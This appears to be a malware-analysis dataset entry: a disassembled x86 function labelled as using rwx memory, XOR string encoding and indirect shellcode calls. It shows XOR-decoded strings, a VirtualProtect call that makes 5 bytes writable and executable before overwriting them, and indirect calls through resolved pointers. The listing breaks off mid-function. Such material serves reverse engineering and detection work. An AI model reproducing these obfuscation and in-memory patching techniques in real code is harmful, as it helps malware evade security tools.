Function at 0x10064fa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100dbebb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x108
mov eax, dword [0x10111074]
mov ecx, dword [0x10111078]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x8c], ecx
push esi
mov esi, 4
push edi
mov edi, dword [0x1010f2d8]
cmp eax, ecx
je 0x1006529c
nop dword [eax + eax]
cmp dword [eax + 0x14], 0x10
mov ecx, eax
jb 0x1006500a
mov ecx, dword [eax]
call fcn.100470f0
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x10065282
mov ecx, 0x1d
lea edi, [ebp - 0x118]
mov esi, 0x100f3448
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x1010f2d8]
mov dword [ebp - 0x50], edx
cmp edi, 2
jl 0x10065190
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x118]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x118], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x114]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x114], xmm1
add edx, 8
cmp edx, 0x70
jl 0x10065080
mov dword [ebp - 0x50], edx
cmp edx, 0x74
jge 0x100651c1
nop dword [eax + eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x50]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x118], cl
inc edx
mov dword [ebp - 0x50], edx
cmp edx, 0x74
jl 0x10065190
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100651e0
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.10049b80
mov ecx, dword [ebp - 0x4c]
lea edx, [ebp - 0x6c]
mov dword [ebp - 4], 0
cmp dword [ebp - 0x58], 0x10
cmovae edx, dword [ebp - 0x6c]
call fcn.1006d060
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x10065250
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10065246
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bc8
push ecx
push edx
call fcn.100b0b76
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
test esi, esi
je 0x10065282
push 0
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x100f321c]
mov dword [esi], eax
mov al, byte [0x100f3220]
mov byte [esi + 4], al
mov eax, dword [ebp - 0x14]
add eax, 0x18
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x8c]
jne 0x10065000
mov esi, 4
mov eax, dword [0x100f3680]
xor edx, edx
movq xmm0, qword [0x100f3678]
mov dword [ebp - 0x27], eax
mov ax, word [0x100f3684]
mov word [ebp - 0x23], ax
mov al, byte [0x100f3686]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x50], edx
cmp edi, 2
jl 0x100653d5
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.9999999999999999]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 0x50], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3678]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x50]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x50], edx
cmp edx, 0xf
jl 0x100653d5
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x90], 0
movups xmmword [ebp - 0xa4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065427
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.10049b80
mov dword [ebp - 4], 1
lea esi, [ebp - 0xa4]
movups xmm0, xmmword [str._VYRHZ2_:6_____9b__PzVTOXv._.DwNxNX_K__a__E]
cmp dword [ebp - 0x90], 0x10
cmovae esi, dword [ebp - 0xa4]
cmp byte [0x100f35fb], 0
movups xmmword [ebp - 0x88], xmm0
movq xmm0, qword [0x100f35f4]
movq qword [ebp - 0x78], xmm0
je 0x10065606
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x100655d5
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
xor ecx, ecx
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebp - 0x30]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x88]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x88], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x84]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x84], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x100654d0
jmp 0x10065606
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x88], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x18
jl 0x100655d5
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065624
sub ecx, edx
lea eax, [ebp - 0x88]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.10049b80
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae ecx, dword [ebp - 0x6c]
call fcn.100470f0
mov edx, esi
mov ecx, eax
call fcn.1006d060
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x4c], eax
cmp ecx, 0x10
jb 0x10065695
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006568b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bc8
push ecx
push edx
call fcn.100b0b76
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x100656d6
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100656cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bc8
push ecx
push edx
call fcn.100b0b76
add esp, 8
mov eax, dword [0x100f3738]
xor edx, edx
movq xmm0, qword [str.R_IRXR_fro__E]
mov dword [ebp - 0x25], eax
mov al, byte [0x100f373c]
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x50], edx
cmp edi, 2
jl 0x10065825
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x50], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.R_IRXR_fro__E]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x50]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x50], edx
cmp edx, 0xd
jl 0x10065825
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065870
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.10049b80
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x6c]
cmovae ecx, dword [ebp - 0x6c]
call fcn.100470f0
mov ecx, dword [ebp - 0x58]
mov esi, eax
mov dword [ebp - 0x50], esi
cmp ecx, 0x10
jb 0x100658cf
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100658c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c54
push ecx
push edx
call fcn.100b0b76
add esp, 8
test esi, esi
je 0x10067ff5
mov eax, dword [str._._E]
xor edx, edx
movq xmm0, qword [0x100f3420]
mov dword [ebp - 0x25], eax
mov al, byte [0x100f342c]
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10065a10
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3420]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
nop dword [eax + eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10065a10
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065a60
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.10049b80
mov dword [ebp - 4], 3
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
push ecx
cmovae edx, dword [ebp - 0x6c]
mov ecx, esi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x10065acd
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10065ac3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bcd
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [str.3_7_2G]
xor edx, edx
movq xmm0, qword [0x100f3288]
add esp, 4
mov dword [ebp - 0x27], eax
mov ax, word [0x100f3294]
mov word [ebp - 0x23], ax
mov al, byte [0x100f3296]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10065c12
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3288]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10065c12
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065c60
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.10049b80
mov dword [ebp - 4], 4
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
push ecx
cmovae edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x10065cce
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10065cc4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bd2
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [str._._]
xor edx, edx
movq xmm0, qword [str.oSIHH_S]
add esp, 4
mov dword [ebp - 0x27], eax
mov ax, word [0x100f3828]
mov word [ebp - 0x23], ax
mov al, byte [0x100f382a]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10065e13
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.oSIHH_S]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10065e13
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065e60
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.10049b80
mov dword [ebp - 4], 5
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
push ecx
cmovae edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x10065ece
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10065ec4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bd7
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movups xmm0, xmmword [0x100f3538]
mov al, byte [0x100f3548]
xor edx, edx
add esp, 4
mov byte [ebp - 0x53], al
mov dword [ebp - 0x14], edx
movups xmmword [ebp - 0x63], xmm0
cmp edi, 2
jl 0x10066030
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x63]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x63], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x5f]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x5f], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10065f30
mov dword [ebp - 0x14], edx
cmp edx, 0x11
jge 0x1006605e
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x63], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x11
jl 0x10066030
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x63]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066080
sub ecx, edx
lea eax, [ebp - 0x63]
push ecx
push eax
lea ecx, [ebp - 0x48]
